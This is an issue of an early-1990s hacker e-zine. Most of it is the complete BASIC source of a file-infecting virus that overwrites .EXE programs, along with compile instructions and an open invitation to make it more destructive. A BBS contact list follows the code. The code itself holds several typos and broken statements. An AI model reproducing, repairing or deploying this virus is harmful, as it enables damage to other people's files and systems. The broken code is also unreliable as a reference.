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- ║ Vaginal and Anal Secretions Newsletter #0038 ║
- ╟─────────────────────────────────────────────────────────────────────────────╢
- ║ Date Released : [06/31/92] Author: The Smurfs (PROBE-X) ║
- ╟─────────────────────────────────────────────────────────────────────────────╢
- ║ A Basic Virus... ║
- ╙─────────────────────────────────────────────────────────────────────────────╜
-
- Well, here's a basic virus.. Nothing complex, very (very) BASIC. It attaches
- itself to .EXE's and is non-destructive so non-programmers don't fuck around
- and mess up shit. It should run under GW-BASIC, and it works in QuickBASIC.
- Remember the length of the compiled and linked .EXE file and edit the source
- code to place the length of the object program in LENGHTVIR varible. BV3.EXE
- should be in the current directory,COMMAND.COM must be avilable (SHELL=) and
- remember to use the /e switch when compiling. Anybody with BASIC knowledge
- can make this a major fucker.
-
- 10 ON ERROR GOTO 670
- 20 REM *** A BASIC VIRUS ***
- 30 REN *** IF BASIC STINKS ***
- 40 REM *** THEN RUN THIS ***
- 50 REM *** HAHHAHAHAHAHA ***
- 60 REM *** LENGHTVIR MUST BE SET ***
- 70 REM *** TO THE LENGHT TO THE ***
- 80 REM *** LINKED PROGRAM ***
- 90 LENGHTVIR=9999
- 100 VIRROOT$="BV3.EXE"
- 110 REM *** WRITE THE DIRECTORY IN THE FILE "INH"
- 130 SHELL "DIR *.EXE>>INH"
- 140 REM ** OPEN "INH" FILE AND READ NAMES **
- 150 OPEN "R",1,"INH",32000
- 160 GET #1,1
- 170 LINE INPUT#1,ORIGINAL$
- 180 LINE INPUT#1,ORIGINAL$
- 190 LINE INPUT#1,ORIGINAL$
- 200 LINE INPUT#1,ORIGINAL$
- 210 ON ERROR GOT 670
- 220 CLOSE#2
- 230 F=1:LINE INPUT#1,ORIGINAL$
- 240 REM ** "%" IS THE MARKER OF THE BV3
- 250 REM ** "%" IN THE NAME MEANS
- 260 REM ** INFECTED COPY PRESENT
- 270 IF MID$(ORIGINAL$,1,1)="%" THEN GOTO 210
- 280 ORIGINAL$=MID$(ORIGINAL$,1,13)
- 290 EXTENSIONS$=MID$(ORIGINAL,9,13)
- 300 MID$(EXTENSIONS$,1,1)="."
- 310 REM *** CONCATENATE NAMES INTO FILENAMES **
- 320 F=F+1
- 330 IF MID$(ORIGINAL$,F,1)=" " OR MID$ (ORIGINAL$,F,1)="." OR F=13 THEN 350
- 340 GOTO 320
- 350 ORIGINAL$=MID$(ORIGINAL$,1,F-1)+EXTENSION$
- 360 ON ERROR GOTO 210
- 365 TEST$=""
- 370 REM ++ OPEN FILE FOUND +++
- 380 OPEN "R",2,OROGINAL$,LENGHTVIR
- 390 IF LOF(2) < LENGHTVIR THEN GOTO 420
- 400 GET #2,2
- 410 LINE INPUT#1,TEST$
- 420 CLOSE#2
- 431 REM ++ CHECK IF PROGRAM IS ILL ++
- 440 REM ++ "%" AT THE END OF THE FILE MEANS..
- 450 REM ++ FILE IS ALREADY SICK ++
- 460 REM IF MID$(TEST,2,1)="%" THEN 210
- 470 CLOSE#1
- 480 ORIGINALS$=ORIGINAL$
- 490 MID$(ORIGINALS$,1,1)="%"
- 499 REM ++++ SANE "HEALTHY" PROGRAM ++++
- 510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$
- 520 SHELL C$
- 530 REM *** COPY VIRUS TO HEALTHY PROGRAM ****
- 540 C$="COPY "+VIRROOT$+ORIGINAL$
- 550 SHELL C$
- 560 REM *** APPEND VIRUS MARKER ***
- 570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13
- 580 WRITE#1,ORIGINALS$
- 590 CLOSE#1
- 630 REM ++ OUYPUT MESSAGE ++
- 640 PRINT "Internal error in " ;ORIGIANAL$
- 650 SYSTEM
- 660 REM ** VIRUS ERROR MESSAGE
- 670 PRINT "*** GOTCHA! ***":SYSTEM
- 680 END
-
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- ║ BBS Name Number Baud Sysop Title ║
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- ║ LiVe WiRE BBS (313)464-1470 14.4 Studmuffin World HQ ║
- ║ PoT BBS (313)462-1906 24oo Phreak_Accident World HQ ║
- ║ TcH BBS (713)373-4031 14.4 One Meg Cacher Dist. #1 ║
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